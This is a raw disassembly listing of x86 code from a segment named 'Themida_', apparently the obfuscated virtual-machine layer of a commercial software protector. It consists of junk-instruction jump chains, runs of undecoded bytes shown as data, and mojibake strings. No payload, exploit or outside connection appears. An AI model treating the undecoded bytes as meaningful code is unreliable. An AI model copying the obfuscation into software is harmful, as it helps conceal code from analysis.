dd 4BA52h, 0C1810000h, 2B47434Ch, 56ABC181h, 0D10108B0h
dd 56ABE981h, 0E98108B0h, 2B47434Ch, 9D07E9h, 0E7895700h
dd 3A0FE9h
db 0
; ---------------------------------------------------------------------------
loc_556F79: ; CODE XREF: Themida_:00561CE4j
add dx, ax
sub dx, 79B6h
add dx, 3E72h
pop eax
xor dx, 125Fh
push ecx
mov cx, 4168h
dec cx
jmp loc_55E96E
; ---------------------------------------------------------------------------
dd 9A11E95Ch, 0DA31FFFFh, 0E9D0015Bh, 6643h
; ---------------------------------------------------------------------------
loc_556FA8: ; CODE XREF: Themida_:0055B818j
mov ebx, edi
mov edi, [esp]
add esp, 4
xor ebx, 42C654DFh
jmp loc_561D0C
; ---------------------------------------------------------------------------
dw 0EF81h
dd 10A000FDh, 0C0741E2Dh, 5F80138h, 38C0741Eh, 7ED2E9h
dd 0E0895000h, 405h, 4E88300h, 31240433h, 4332404h, 4895C24h
dd 5FE95524h, 89000067h, 0EE815BDEh, 7B8A6119h, 0C681FE29h
dd 7B8A6119h, 0D0BFE9h
db 0
; ---------------------------------------------------------------------------
loc_557009: ; CODE XREF: Themida_:0056466Aj
add esp, 4
jmp loc_5509AF
; ---------------------------------------------------------------------------
loc_557011: ; CODE XREF: Themida_:0055B06Fj
pop ebp
shr ebp, 7
sub ebp, 0FFFFFFFFh
jmp loc_559041
; ---------------------------------------------------------------------------
loc_55701D: ; CODE XREF: Themida_:0055812Cj
sub bl, 9Dh
pop ax
jmp loc_560B4A
; ---------------------------------------------------------------------------
loc_557027: ; CODE XREF: Themida_:0055E090j
pop esp
sub esp, 4
mov [esp], edi
push 3B6D68DFh
jmp loc_5590FD
; ---------------------------------------------------------------------------
loc_55703B: ; CODE XREF: Themida_:005620BBj
push edx
push 5230h
mov [esp], esp
jmp loc_551242
; ---------------------------------------------------------------------------
aWt_us db 'WT_UИю<',0
align 2
loc_557052: ; CODE XREF: Themida_:00563DDAj
mov esi, 4
add ebp, esi
pop esi
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push 3A784228h
push dword ptr [esp]
jmp loc_563C9F
; ---------------------------------------------------------------------------
loc_557074: ; CODE XREF: Themida_:00561D1Bj
push edx
push eax
mov eax, 3C6E2562h
mov edx, 0E6704702h
jmp loc_563083
; ---------------------------------------------------------------------------
db 81h, 0C7h, 9Eh
dd 294C8878h, 0C321E9D7h, 1489FFFFh, 0EB224h, 2434FFD0h
dd 4C4835Ah, 61FF68h, 241C8900h, 476FE950h, 685F0000h
dd 67C5h, 0FF243489h, 5E042474h, 8B24048Fh, 0BE0F2424h
dd 4EC83C8h, 67CBE9h, 348B6600h, 4EC8124h, 89000000h, 0E0892404h
dd 0BB86E9h
db 0
; ---------------------------------------------------------------------------
loc_5570E1: ; CODE XREF: Themida_:0055FD91j
push edi
mov edi, 66DB6E05h
push 0
sub [esp], edi
pop edi
and edi, 245309A7h
dec edi
jmp loc_55E296
; ---------------------------------------------------------------------------
loc_5570FC: ; CODE XREF: Themida_:00562F5Bj
push eax
mov eax, 4
add ebp, eax
pop eax
jmp loc_553B08
; ---------------------------------------------------------------------------
dw 0F281h
dd 1ECE4903h, 2D1AB850h, 254854D7h, 1599290Eh, 0E138E948h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557122: ; CODE XREF: Themida_:0055A16Fj
push edx
push 4043h
jmp loc_55427C
; ---------------------------------------------------------------------------
db 0C1h, 0E1h, 2
dd 6C42E9h, 4F0B6800h, 2FE94E87h
db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55713F: ; CODE XREF: Themida_:0055304Aj
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_5509AF
; ---------------------------------------------------------------------------
loc_55714F: ; CODE XREF: Themida_:005590F8j
pop esp
mov [esp], ecx
mov ecx, 0D785647h
inc ecx
push ebp
mov ebp, 132C3E0Ah
or ecx, ebp
pop ebp
shr ecx, 3
jmp loc_55BC3E
; ---------------------------------------------------------------------------
dw 0C681h
dd 4, 4C681h, 34870000h, 4BE8E924h, 0ED810000h, 957AB923h
dd 31E9EA89h, 4BFFFFC8h, 8108EBC1h, 6C33ABC3h, 5BDD897Ch
dd 0E95D5955h, 36FEh, 0B8DDC381h, 2BE9C408h, 810000B0h
dd 0B16DB7CBh, 0A6A9E902h, 0C1800000h, 0E9C9FE03h, 749Ch
dd 4244C31h, 83240C8Bh, 0F3E904C4h, 89000091h, 4682434h
dd 8B000000h, 0C4812434h, 4, 4B2AEB81h, 0F30175F2h, 4B2AC381h
dd 348B75F2h, 0E9545024h, 2F54h
dword_5571F8 dd 81D830ACh, 4ECh, 0EE31E900h, 0E689FFFFh, 4C681h, 0C6810000h
; DATA XREF: Themida_:005506DCo
dd 4, 0E9243487h, 3FA8h, 0D7F75F5Dh, 5F5D5755h, 3E4BA52h
dd 0E2C12211h, 49EA8108h, 15CD50Dh, 0E9015AD5h, 69B2E95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55723E: ; CODE XREF: Themida_:00565958j
xor ah, 0D8h
dec ah
jmp loc_551B32
; ---------------------------------------------------------------------------
dd 8F24248Bh, 248B2404h, 0E7895724h, 0AE22E9h, 81E38900h
dd 4C3h, 4EB8300h, 5C241C87h, 68241C89h, 72A2h, 0E9240C89h
dd 0FFFFCD80h, 0E908EDC1h, 0D2B6h, 53243C89h, 8B77C0BBh
dd 0ED59BF5Eh, 0DF298842h, 0A7AFE9h
db 0
; ---------------------------------------------------------------------------
loc_557295: ; CODE XREF: Themida_:0055B560j
mov esi, [esp]
jmp loc_55C759
; ---------------------------------------------------------------------------
db 66h, 0C1h, 0EAh
dd 0EA816606h, 516627A0h, 0B966h, 66D12966h, 5966CA87h
dd 99C28166h, 0E2C16656h, 22686602h, 1C89661Ch, 42BB6624h
dd 0DA3166C2h, 5738E9h, 10B85000h, 2D0FBB23h, 9F32AB14h
dd 5AAEE9h
db 0
; ---------------------------------------------------------------------------
loc_5572E1: ; CODE XREF: Themida_:00562FDEj
mov esi, 7FC51AB0h
jmp loc_55FE04
; ---------------------------------------------------------------------------
loc_5572EB: ; CODE XREF: Themida_:005629B4j
mov eax, 5A7176E5h
xor eax, edi
pop edi
sub ecx, 1D91040Eh
jmp loc_564A01
; ---------------------------------------------------------------------------
dw 0DF01h
dd 5B2434FFh, 7C068h, 24348900h, 0FFA0BEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_557311: ; CODE XREF: Themida_:00564075j
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, 37742AA8h
add ecx, edx
push dword ptr [esp]
jmp loc_55F17F
; ---------------------------------------------------------------------------
dd 7EBF575Ch, 2922E07Bh, 0BB5EE9FAh, 0C0580000h, 88E907EBh
db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557343: ; CODE XREF: Themida_:00555207j
push ebx
push edx
mov dh, 0DFh
shl dh, 1
jmp loc_55889E
; ---------------------------------------------------------------------------
dw 38B7h
dd 4EC81h, 14890000h, 2CE95324h, 33FFFF9Dh, 34312434h
dd 24343324h, 0A5A1E9h
db 0
; ---------------------------------------------------------------------------
loc_55736D: ; CODE XREF: Themida_:00558365j
push dword ptr [esp+4]
pop ecx
jmp loc_554329
; ---------------------------------------------------------------------------
byte_557377 db 66h ; DATA XREF: Themida_:005506FCo
dd 5024048Bh, 54685854h, 8900003Ah, 4BE2434h, 1000000h
dd 2434FFF0h, 0B5FCE9h, 0E9C22100h, 0BB9Ah
; ---------------------------------------------------------------------------
loc_55739C: ; CODE XREF: Themida_:0055BFBFj
mov [esp], esi
push 917h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_563366
; ---------------------------------------------------------------------------
loc_5573B3: ; CODE XREF: Themida_:0055C5E7j
mov [esp], edi
jmp loc_550B74
; ---------------------------------------------------------------------------
loc_5573BB: ; CODE XREF: Themida_:0055C268j
mov edx, esp
jmp loc_55299A
; ---------------------------------------------------------------------------
loc_5573C2: ; CODE XREF: Themida_:0055FF33j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_565400
; ---------------------------------------------------------------------------
loc_5573D3: ; CODE XREF: Themida_:00559279j
push dword ptr [esp]
mov ebp, [esp]
push edx
mov edx, esp
add edx, 4
push eax
mov eax, 27745A6Bh
push 6EFh
mov [esp], ebp
jmp loc_560894
; ---------------------------------------------------------------------------
db 0E9h, 0B5h, 95h
dd 0EB81FFFFh, 652E2B48h, 0C381C301h, 652E2B48h, 5124048Bh
dd 0DEF5E9h
db 0
; ---------------------------------------------------------------------------
loc_557411: ; CODE XREF: Themida_:00555267j
pop ebp
shl ebx, 4
shr ebx, 8
add ebx, 0FF33FC53h
push 526Ah
jmp loc_5587B5
; ---------------------------------------------------------------------------
loc_557428: ; CODE XREF: Themida_:0055B3B5j
shr eax, 3
dec eax
push 0
sub [esp], eax
pop eax
shl eax, 1
jmp loc_555841
; ---------------------------------------------------------------------------
dd 623F73BFh, 2E94F23h
db 72h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557447: ; CODE XREF: Themida_:00558DD8j
xor edx, 0FF7C372Fh
add ecx, edx
mov edx, [esp]
add esp, 4
add ecx, 2
xor ecx, [esp]
jmp loc_5520CD
; ---------------------------------------------------------------------------
dw 0F929h
dd 59CD895Fh, 0D9E9E801h, 31FFFFD1h, 815E5EF1h, 5C23BCE1h
dd 5BE18138h, 0E946782Bh, 20D3h, 875AD301h, 5E9241Ch, 68FFFFFBh
dd 3B1Ch, 50243489h, 0F810B7B8h, 0E9D0F737h, 0DEA4h
; ---------------------------------------------------------------------------
loc_5574A8: ; CODE XREF: Themida_:0055861Aj
mov edx, [esp]
add esp, 4
push edi
mov edi, 217A2787h
add edx, edi
pop edi
add edx, edi
jmp loc_5518A3
; ---------------------------------------------------------------------------
dw 0E328h
dd 8BFBC380h, 0C4832404h, 0E02AE904h, 0BF570000h, 4, 505FF801h
dd 42474FFh, 24048F58h, 74FF525Ch, 4BE90424h, 50FFFFDFh
dd 4B8h, 24440100h, 34FF5804h, 8B3E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5574FE: ; CODE XREF: Themida_:005633A3j
add esi, 1A1E5EB9h
push esi
mov esi, esp
push 3A7Bh
mov [esp], ebp
mov ebp, 468C2414h
push edx
jmp loc_554B2D
; ---------------------------------------------------------------------------
loc_55751A: ; CODE XREF: Themida_:00553A28j
add esp, 4
jmp loc_5509AF
; ---------------------------------------------------------------------------
db 55h, 0BDh, 0F9h
dd 0E9706839h, 0FFFFF6F5h
; ---------------------------------------------------------------------------
loc_557530: ; CODE XREF: Themida_:005542F4j
mov [esp], edx
jmp loc_550B41
; ---------------------------------------------------------------------------
loc_557538: ; CODE XREF: Themida_:00554625j
xor ecx, [esp]
mov esp, [esp]
dec dword ptr [esp]
pushf
jmp loc_5509AF
; ---------------------------------------------------------------------------
loc_557547: ; CODE XREF: Themida_:00563757j
pop esp
push edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
push 3BEAh
mov [esp], esi
push 27CFh
mov [esp], esp
add dword ptr [esp], 4
pop esi
push edx
mov edx, 4
jmp loc_55339C
; ---------------------------------------------------------------------------
db 0BAh
dd 17E53E0Ch, 608EE281h, 89683421h, 89000003h, 0B8502434h
dd 62E97850h, 3540D0F7h, 0AA078237h, 0B493E950h, 0E95B0000h
dd 0A957h
; ---------------------------------------------------------------------------
loc_5575A4: ; CODE XREF: Themida_:00554F67j
add esi, 0FFFFFFFFh
push eax
push ebp
push eax
mov eax, 445134B3h
jmp loc_55A676
; ---------------------------------------------------------------------------
db 68h
dd 33A6h, 89240489h, 405E0h, 0E8830000h, 0E5FDE904h, 815B0000h
dd 4C4h, 8BD93100h, 82E9241Ch
db 2Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5575DF: ; CODE XREF: Themida_:0055B8F2j
mov [esp], ebx
mov eax, [esp]
push eax
mov eax, esp
jmp loc_554EA2
; ---------------------------------------------------------------------------
byte_5575ED db 0FFh, 34h, 24h ; DATA XREF: Themida_:00550858o
dd 0DC31E9h
db 0
; ---------------------------------------------------------------------------
loc_5575F5: ; CODE XREF: Themida_:005638C5j
add edx, 4
add edx, 4
jmp loc_55A649
; ---------------------------------------------------------------------------
loc_557603: ; CODE XREF: Themida_:0055D5F7j
mov esp, [esp]
sub [esp], al
pushf
jmp loc_554769
; ---------------------------------------------------------------------------
loc_55760F: ; CODE XREF: Themida_:005599EBj
add esp, 4
add esp, 4
add esp, 4
push 59F3h
mov [esp], edi
push esi
mov esi, esp
jmp loc_561A11
; ---------------------------------------------------------------------------
dd 240C895Ch, 0F6106468h, 4C295920h, 4EE90424h, 5EFFFFCDh
dd 0FFEF58E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_557641: ; CODE XREF: Themida_:005610C2j
not ebp
inc ebp
shl ebp, 8
not ebp
push esi
mov esi, 0A3146DEh
jmp loc_55968D
; ---------------------------------------------------------------------------
dd 33243431h, 248B2434h, 24043024h, 9349E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557666: ; CODE XREF: Themida_:00554A4Aj
push ebp
mov ebp, 52D370B5h
push ecx
mov ecx, 0AD2C8F4Fh
add ebp, ecx
jmp loc_563ECA
; ---------------------------------------------------------------------------
aXsG db 'XИ!ё',0
dw 0C100h
dd 0E0C103E0h, 30F92D08h, 0F057D59h, 484C2E28h, 0FFF55FE9h
dd 0BAE981FFh, 5F19C139h, 0FFBBC0E9h, 0C1FE5CFFh, 81E7C180h
dd 4ECh, 24048900h, 83E9C888h, 0FF0000CCh, 0FF042474h
dd 525A2434h, 9FA4E9h, 19E95300h, 33000073h, 34312434h
dd 24343324h, 94C9E9h, 0E9525A00h, 0FFFFE0F9h, 0FF241489h
dd 0FF042474h
db 34h, 24h, 5Ah
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55B2E0
; ---------------------------------------------------------------------------
loc_557709: ; CODE XREF: Themida_:00551C53j
mov edx, 1
sub esi, 3BBA4522h
jmp loc_55CBDB
; ---------------------------------------------------------------------------
db 81h, 0C3h, 87h
dd 0E90C437Ch, 0B6Ch, 0EC805A66h, 1EF480FFh, 0F658E528h
dd 8FB3E9D5h, 0C330000h, 0F7F9E924h, 348BFFFFh, 650AE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557746: ; CODE XREF: Themida_:00553EA1j
mov ebx, edi
push 69C4h
jmp loc_552ED5
; ---------------------------------------------------------------------------
loc_557752: ; CODE XREF: Themida_:00555A67j
pop eax
push dword ptr [esp]
pop ebx
add esp, 4
pop eax
push dword ptr [esp]
jmp loc_55B0B6
; ---------------------------------------------------------------------------
db 0D1h
dd 3EAC1E2h, 0E01E281h, 5CE9242Dh
db 6Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557773: ; CODE XREF: Themida_:00554F85j
push esi
not dword ptr [esp]
pop esi
jmp loc_55DC60
; ---------------------------------------------------------------------------
loc_55777D: ; CODE XREF: Themida_:0055BC21j
mov edi, 59ED116Ah
jmp loc_5636B2
; ---------------------------------------------------------------------------
db 86h
dd 86C0FEC2h, 51DAF6C2h, 0B3E9E8B5h
db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557797: ; CODE XREF: Themida_:005600DCj
pop ebp
jmp loc_55A2AE
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
dd 2C48324h, 0E973B450h, 165Bh
; ---------------------------------------------------------------------------
loc_5577AC: ; CODE XREF: Themida_:0055385Aj
pop ecx
jmp loc_55D2B8
; ---------------------------------------------------------------------------
loc_5577B2: ; CODE XREF: Themida_:0055EE3Ej
or edx, eax
shl edx, 1
push 2BDFh
mov [esp], edx
push 24h
jmp loc_5617FA
; ---------------------------------------------------------------------------
loc_5577C8: ; CODE XREF: Themida_:0055C156j
add ebx, 4
jmp loc_5585F4
; ---------------------------------------------------------------------------
db 1
dd 7CC281F2h, 5E03BC5Eh, 13F9C281h, 0EA8145E1h, 69A7D7E8h
dd 607CBA52h, 0D02935F9h, 373B055Ah, 0D0015F5Eh, 5E373B2Dh
dd 9844E95Fh, 0F7000000h, 8324148Bh, 0F83004C4h, 6853665Bh
dd 6ED7h, 0B2241489h, 0E9DAF6B2h, 7896h, 4C381h, 0EB830000h
dd 241C8704h, 242C895Ch, 4AA068h, 243C8900h, 5E08950h
dd 4, 42Dh, 24048700h, 0FFFDDBE9h, 0B8EE80FFh, 0FFA67DE9h
dd 638F68FFh, 815F069Dh, 0E204246Ch, 29567B1Bh, 8104247Ch
dd 0E2042444h, 8B567B1Bh, 7768243Ch, 0E9000069h, 0FFFFD40Ch
; ---------------------------------------------------------------------------
loc_55787C: ; CODE XREF: Themida_:005533A2j
xchg esi, [esp]
mov esp, [esp]
push 55D2h
jmp loc_553289
; ---------------------------------------------------------------------------
aQAUsq db 'Q╣а─мUИО',8,0
align 4
dd 5F63E9F7h, 0F7810000h, 20A23D00h, 45ACF781h, 0DFE9BEFEh
dd 2D000020h, 2D27D46h, 2404335Eh, 33240431h, 2FE92404h
db 0CFh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5578C3: ; CODE XREF: Themida_:00552643j
sub bl, ch
pop ecx
jmp loc_5579D3
; ---------------------------------------------------------------------------
loc_5578CB: ; CODE XREF: Themida_:0055EC66j
xchg esi, [esp]
pop esp
push dword ptr [esp]
pop eax
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_564896
; ---------------------------------------------------------------------------
dw 0EB81h
dd 0AB246F6Dh, 315BD889h, 5D505AD0h, 8324048Bh, 0EE0104C4h
dd 0C71BE95Dh, 1489FFFFh, 4B85024h, 50000000h, 5E242C81h
dd 0E97EEA70h, 0FFFFC7A2h, 2B9h, 41632D00h, 0C8016C10h
dd 10416305h, 0BEE9596Ch, 33FFFFBEh, 0C6E92404h
db 0DEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55793B: ; CODE XREF: Themida_:005604C6j
push ebx
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_552A80
; ---------------------------------------------------------------------------
dd 0ED81F529h, 15986035h, 0FFCC9AE9h, 0FCE952FFh
db 2Eh, 2 dup(0)
byte_55795B db 0F7h ; DATA XREF: Themida_:00550704o
dd 0E99C241Ch, 0FFFF904Bh, 52CCEC80h, 0EA800EB2h, 0D8FAE92Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557972: ; CODE XREF: Themida_:00564EA3j
mov dl, al
mov ch, dl
pop edx
push eax
mov al, ch
jmp loc_558C7D
; ---------------------------------------------------------------------------
db 5Ah
dd 4C281h, 0C2810000h, 2, 25F3E9h
db 0
; ---------------------------------------------------------------------------
loc_557991: ; CODE XREF: Themida_:00559D22j
pop ebx
sub ebx, 0D664EE7Ah
mov edx, ebx
pop ebx
push edi
jmp loc_55B1EA
; ---------------------------------------------------------------------------
db 68h, 2 dup(0)
dd 1C290000h, 9AE95B24h, 81FFFFAEh, 4C6h, 24348700h, 2434FF5Ch
dd 81242C8Bh, 4C4h, 5D545500h, 4EC81h, 9DE90000h
db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5579D3: ; CODE XREF: Themida_:005578C6j
pop eax
sub bl, al
push dx
mov dh, 85h
add bl, 0BAh
add bl, 9Fh
sub bl, dh
sub bl, 9Fh
sub bl, 0BAh
pop dx
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
dd 0D5AEE961h
db 2 dup(0FFh)
word_5579F6 dw 34FFh ; DATA XREF: Themida_:005508BCo
aYhg db '$Yhё',9,0
dw 8900h
dd 0E954243Ch, 0FFFFE433h, 2C29BA52h, 0DEE93FA2h
db 65h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557A13: ; CODE XREF: Themida_:00551464j
push esi
jmp loc_5605C7
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 42474FFh, 24048F5Bh, 8124248Bh, 4C4h, 687EE900h, 0F7810000h
dd 2A05699Dh, 7E9D7F7h, 8100003Ch, 4ECh, 241C8900h, 0EA1C52BBh
dd 245C3107h, 45DCE904h, 0D2F60000h, 0E9F3F280h, 0FFFFC56Fh
dd 0B4154EBDh, 81D5F70Ah, 4BEAB5F5h, 0F2C181F5h, 29020A48h
dd 0F2E981E9h, 8B020A48h, 0C483242Ch, 7D6FE904h, 15A0000h
dd 142D5BD8h, 0E970720Ah, 0BE7h, 0B2E9C6FEh, 1FFFFFDh
dd 0C38358C3h, 241C8704h, 2924248Bh, 243C8BFAh, 4C481h
dd 0D7010000h, 0D705E9h
db 0
; ---------------------------------------------------------------------------
loc_557AB9: ; CODE XREF: Themida_:0055C071j
xor esi, 7E140B4Ah
jmp loc_5648B1
; ---------------------------------------------------------------------------
loc_557AC4: ; CODE XREF: Themida_:00561AE2j
mov esi, 1AD974F8h
sub esi, 1F24635Eh
jmp loc_560072
; ---------------------------------------------------------------------------
loc_557AD4: ; CODE XREF: Themida_:00552BF1j
mov [esp], ebp
jmp loc_555BCE
; ---------------------------------------------------------------------------
loc_557ADC: ; CODE XREF: Themida_:0055EC37j
mov ebx, esp
push esi
mov esi, 4
add ebx, esi
pop esi
push edi
mov edi, 4
sub ebx, edi
jmp loc_55D9E2
; ---------------------------------------------------------------------------
dword_557AF4 dd 240C8B66h, 8904EC83h, 0D3E92434h, 680000CFh, 7D25h
; DATA XREF: Themida_:005508C8o
dd 57240489h, 9A7C96BFh, 8249E943h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557B16: ; CODE XREF: Themida_:00553BBEj
pop ebx
add esi, 0FA095FBDh
sub ebx, esi
pop esi
jmp loc_564D65
; ---------------------------------------------------------------------------
db 0C1h, 0E2h, 7
dd 2675BE56h, 0EE810E36h, 0C7C1AFA9h, 815EF231h, 1EAh
dd 68D2F700h, 716Ah, 0BD242C89h, 2FC50FCh, 0BC9AE9h
db 0
; ---------------------------------------------------------------------------
loc_557B51: ; CODE XREF: Themida_:00555FA9j
push esi
xor dword ptr [esp], 5B3C3491h
pop edi
xor edi, 5B3C3491h
pop esi
add esi, edi
mov edi, [esp]
sub esp, 4
mov [esp], ebp
push esp
pop ebp
add ebp, 4
jmp loc_562831
; ---------------------------------------------------------------------------
aYs db 'YИю<',0
db 0
; ---------------------------------------------------------------------------
loc_557B7F: ; CODE XREF: Themida_:0055541Bj
push 14F0704Bh
mov ebp, [esp]
add esp, 4
jmp loc_55260F
; ---------------------------------------------------------------------------
db 66h
dd 6667B2BBh, 0E95FFB01h, 0B1F4h
; ---------------------------------------------------------------------------
loc_557B9C: ; CODE XREF: Themida_:00555B52j
mov ebp, 0B1E19D7h
mov esi, 0B1E19DBh
sub esi, ebp
pop ebp
sub ebp, esi
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edx
jmp loc_558A78
; ---------------------------------------------------------------------------
loc_557BDB: ; CODE XREF: Themida_:00555DD5j
and eax, ebp
jmp loc_5523E2
; ---------------------------------------------------------------------------
dw 1433h
aLI4HY db '$▀$$┴4$h',9,'Y',0
align 10h
dd 81242489h, 42404h, 348B0000h, 0B8E95124h, 1FFFFA1h
dd 2434FFE8h, 0FFDCE3E9h, 0C4815EFFh, 4, 31240C33h, 0C33240Ch
dd 24248B24h, 0FF243489h, 5E042474h, 8B24048Fh, 0BF0F2424h
dd 6B8668C8h, 61E90000h, 50000006h, 0FFA36DE9h, 0FF575EFFh
dd 3C8B240Ch, 4C48324h, 81E38953h, 4C3h, 4EB8100h, 87000000h
dd 0C6E9241Ch, 8B00002Fh, 0F1E9243Ch
db 36h, 2 dup(0)
byte_557C6B db 66h ; DATA XREF: Themida_:0055094Co
dd 68240C8Bh, 4608h, 0FF9E61E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_557C79: ; CODE XREF: Themida_:005617B2j
pop eax
add eax, edx
jmp loc_552036
; ---------------------------------------------------------------------------
byte_557C81 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055090Co
dd 0C5EE924h, 20E90000h, 81FFFF8Dh, 1E0DDCEFh, 240C8B37h
dd 6804C483h, 19CEh, 48E7E9h, 0E9815900h, 0FFFFFFFFh, 8107E9C1h
dd 3011EDF1h, 81D9F701h, 0C62EDEE9h, 0D1E98153h, 89A9F1BAh
dd 0D52959CAh, 8124148Bh, 4C4h, 81D52900h, 0B53DECC5h
dd 0FF555A01h, 8B042474h, 0C481242Ch, 4, 8DEAE9h, 7FBB5300h
dd 811CEA73h, 0FFFFFFC3h, 73E1E9FFh, 0F1290000h, 0E92434FFh
dd 0FFFFFF05h, 6E4E956h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557D0E: ; CODE XREF: Themida_:0056495Bj
push 1FD4h
jmp loc_562434
; ---------------------------------------------------------------------------
dd 9833E958h, 0BD55FFFFh, 0B4E74h, 60B7C581h, 48E905CAh
dd 8900005Fh, 4C181E1h, 81000000h, 4C1h, 38E6E900h, 895C0000h
dd 0A5E9240Ch, 55000032h, 712668h, 24248900h, 4240483h
dd 4BB535Dh, 1000000h, 0C5835BDDh, 2DE95504h
db 14h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557D6B: ; CODE XREF: Themida_:0055C54Bj
pop esp
jmp loc_551310
; ---------------------------------------------------------------------------
db 66h, 8Bh, 1Ch
db '$h\',27h,0
align 2
dw 0C89h
dd 0E1CEE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557D82: ; CODE XREF: Themida_:0055C72Cj
mov esp, [esp]
mov [esp], ebx
jmp loc_562281
; ---------------------------------------------------------------------------
loc_557D8D: ; CODE XREF: Themida_:005658CDj
push edi
mov edi, 507E02BCh
sub edi, 6D8A6DB7h
xor edi, 1AE71F34h
jmp loc_554BD0
; ---------------------------------------------------------------------------
loc_557DA4: ; CODE XREF: Themida_:005580C5j
push ecx
jmp loc_564EA2
; ---------------------------------------------------------------------------
aS6 db ')ьИ#6',0
dd 2434FF00h, 5324148Bh, 5064E9h, 0C2E95200h
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557DC3: ; CODE XREF: Themida_:005646A7j
sub edi, ecx
pop ecx
jmp loc_55A0D7
; ---------------------------------------------------------------------------
loc_557DCB: ; CODE XREF: Themida_:00564D60j
push edi
mov edi, 675F1FA8h
neg edi
or edi, 584B5B9Eh
neg edi
jmp loc_5565A4
; ---------------------------------------------------------------------------
loc_557DE0: ; CODE XREF: Themida_:0056571Dj
pop eax
pop ecx
shr esi, 4
shr esi, 3
dec esi
push eax
mov eax, 0FF7F76h
jmp loc_55559C
; ---------------------------------------------------------------------------
dd 0E0D7CB9h, 81D1F760h, 639362F1h, 9C781C4h, 138786Ch
dd 9EF81CFh, 5938786Ch, 68240C8Bh, 77ABh, 89240489h, 405E0h
dd 81E90000h
db 59h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557E27: ; CODE XREF: Themida_:0055C195j
sub ecx, 1
neg ecx
add ecx, 1
sub ecx, 61CDB2F0h
add edx, ecx
pop ecx
mov edi, edx
jmp loc_5558FE
; ---------------------------------------------------------------------------
dw 0F581h
dd 5491745Dh, 2AD1F581h, 0E9294219h, 14E1815Dh, 4974366Fh
dd 0B5E9D9F7h
db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557E5F: ; CODE XREF: Themida_:005647C9j
pop edx
add eax, ecx
pop ecx
jmp loc_5581B7
; ---------------------------------------------------------------------------
dd 8BD53158h, 0C4832414h, 5DEF0104h, 2D5E68h, 242C8900h
dd 297F6852h, 815A6CA5h, 0A5297DEAh, 8809E96Ch, 79BD0000h
dd 0E909E534h, 82FEh, 5F2434FFh, 8104C483h, 4C7h, 0EC835600h
dd 24048904h, 0FFD0DEE9h
db 0FFh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_55879C
; ---------------------------------------------------------------------------
db 0E9h, 0E5h, 8Ah
dd 0C89FFFFh, 8ADDE924h, 0EAC1FFFFh, 0E1B95104h, 122AB4Bh
dd 0BE1FE9CAh, 7B680000h, 89000033h, 58542404h, 405h, 4EC8100h
dd 89000000h, 0CDE92434h, 81000088h, 4E9h, 240C8700h, 8924248Bh
dd 4DBA2414h, 8156FE39h, 150F8DE2h, 0A1C28140h, 8149014Bh
dd 0FFFFFFEAh, 4E2C1FFh, 8108E2C1h, 0B51004C2h, 0AEE81AAh
dd 105F909h, 0B22AE9D6h
db 2 dup(0FFh)
word_557F3E dw 34FFh ; DATA XREF: Themida_:00550820o
dd 8FDBE924h, 7868FFFFh, 8900001Ah, 1FBD242Ch, 4546E418h
dd 78E9EDD1h, 5D00006Ah, 6804C483h, 40DBh, 0BE243489h
dd 53A80E5Bh, 850FE9h
db 0
; ---------------------------------------------------------------------------
loc_557F71: ; CODE XREF: Themida_:0055D9B8j
sub eax, 4E8709F4h
pop edx
and esi, eax
jmp loc_55B3C5
; ---------------------------------------------------------------------------
dw 15Ch
dd 2434FFCEh, 0F3E95359h
db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557F8B: ; CODE XREF: Themida_:0055BCB1j
pop edx
push eax
jmp loc_561A00
; ---------------------------------------------------------------------------
aQhT db 'Qh!`T',0
dd 83240C8Bh, 0E1C104C4h, 0A7C18108h, 89D46C41h, 0D52159CAh
dd 0FFBD25E9h, 1F9DBDFFh, 0BBE2CD9h, 1E6183Dh, 555DE9EEh
